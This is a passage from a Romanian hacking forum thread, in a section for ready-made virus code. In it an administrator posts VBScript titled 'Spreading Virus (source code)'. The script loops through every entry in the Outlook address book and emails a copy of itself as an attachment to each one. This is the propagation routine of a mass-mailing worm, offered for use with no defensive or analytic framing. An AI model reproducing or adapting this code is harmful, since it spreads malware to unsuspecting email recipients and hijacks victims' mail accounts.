HAKERMANIA
Km tot despre haking 		Lista Forumurilor Pe Tematici
HAKERMANIA | Inregistrare | Login

POZE HAKERMANIA

Nu sunteti logat. 		Nou pe simpatie:
OnutzaGirl Profile
Femeie
23 ani
Galati
cauta Barbat
24 - 51 ani
HAKERMANIA / Coduri gata facute pt a face virusii / Spreading Virus (source code)  
Autor
Mesaj Pagini: 1
cocoju93
Administrator

Inregistrat: acum 18 ani
Postari: 61
1) eMail spreading

Code:

Dim x
on error resume next
Set fso ="Scripting.FileSystem.Object"
Set so=CreateObject(fso)
Set ol=CreateObject("Outlook.Application")
Set out= WScript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For x=1 To a.AddressEntries.Count
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Subject"
Mail.Body="Body"
Mail.Attachments.Add Wscript.ScriptFullName
Mail.Send
Next
ol.Quit

The Virus searchs for every email adress in the addressbook. Then sending itself to these addresses. It's really easy, I think.

_______________________________________
Codrutz
pus acum 18 ani
   
Liviu93
Moderator

Inregistrat: acum 18 ani
Postari: 3
[/b]

spreading virus (source code) [/b]

7.7KB
pus acum 18 ani
   
Pagini: 1  

Mergi la